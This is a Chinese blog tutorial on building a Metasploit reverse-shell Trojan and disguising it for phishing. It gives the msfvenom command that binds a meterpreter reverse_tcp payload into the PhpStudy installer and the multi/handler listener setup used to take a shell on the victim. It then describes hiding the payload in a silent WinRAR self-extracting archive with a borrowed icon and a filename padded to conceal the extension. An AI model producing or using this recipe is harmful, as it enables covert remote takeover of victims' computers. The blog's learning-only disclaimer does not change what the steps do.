• 欢迎访问行云博客,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入行云博客 QQ群
  • 本站广招各类优秀作者,详情可以加群联系
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏行云博客吧

msf工具之木马程序制作以及伪装

国信安 行云 3个月前 (09-13) 123次浏览 已收录 1个评论 扫描二维码

捆绑木马

使用msfvenom制作木马程序:

#生成木马文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.138 -f exe -x /root/PhpStudy2018.exe -o /root/phpstudy.exe

msf工具之木马程序制作以及伪装-行云博客

将木马文件放入靶机中

msf工具之木马程序制作以及伪装-行云博客

#设置监听反弹
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.232.138
set lport 4444
run

将木马程序点击执行,监听端口得到回应,成功控制电脑
输入shell,彻底控制电脑

msf工具之木马程序制作以及伪装-行云博客

RAR自动解压

设置自动解压运行

设置rar自动解压格式让它在解压时运行恶意程序

模拟文本文档钓鱼

改良木马程序:

伪装:将网页代码和app进行绑定,然后压缩,使用WinRAR创建自解压格式
msf工具之木马程序制作以及伪装-行云博客

点击高级,在自解压选项中的常规中添加解压路径,
msf工具之木马程序制作以及伪装-行云博客

设置程序选项卡中填写解压前后运行的程序,
msf工具之木马程序制作以及伪装-行云博客

模式选项卡中静默模式选择全部隐藏
msf工具之木马程序制作以及伪装-行云博客

使用BeCyIconGrabber.exe软件提取出我们想要的软件图片ico
msf工具之木马程序制作以及伪装-行云博客

文本和图标选项中,选择加载我们刚刚生成的icon图标
msf工具之木马程序制作以及伪装-行云博客

生成了我们伪装过后的木马程序
msf工具之木马程序制作以及伪装-行云博客

同时可以将文件名称改成比较长的名字,在不选中文件的时候,文件名后面部分会被隐藏,达到隐藏后缀名的效果


行云博客 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。 本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。 如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我(admin@xy586.top)联系处理。敬请谅解!

喜欢 (0)
[行云博客]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
(1)个小伙伴在吐槽
  1. 您好~我是腾讯云+社区的运营,关注了您在分享的技术文章,觉得内容很棒,我们诚挚邀请您加入腾讯云自媒体分享计划。完整福利和申请地址请见:https://cloud.tencent.com/developer/support-plan作者申请此计划后将作者的文章进行搬迁同步到社区的专栏下,你只需要简单填写一下表单申请即可,我们会给作者提供包括流量、云服务器、域名等,另外还有些周边礼物。  我们诚挚的邀请您并期待您的加入~腾讯云+社区是由腾讯云全新打造的一个技术交流社区,正在引入更多的作者与优质文章,就此社区推出一个自媒体的分享计划。
    JinxNN2020-09-16 11:25 回复 Windows 10 | Chrome 85.0.4183.102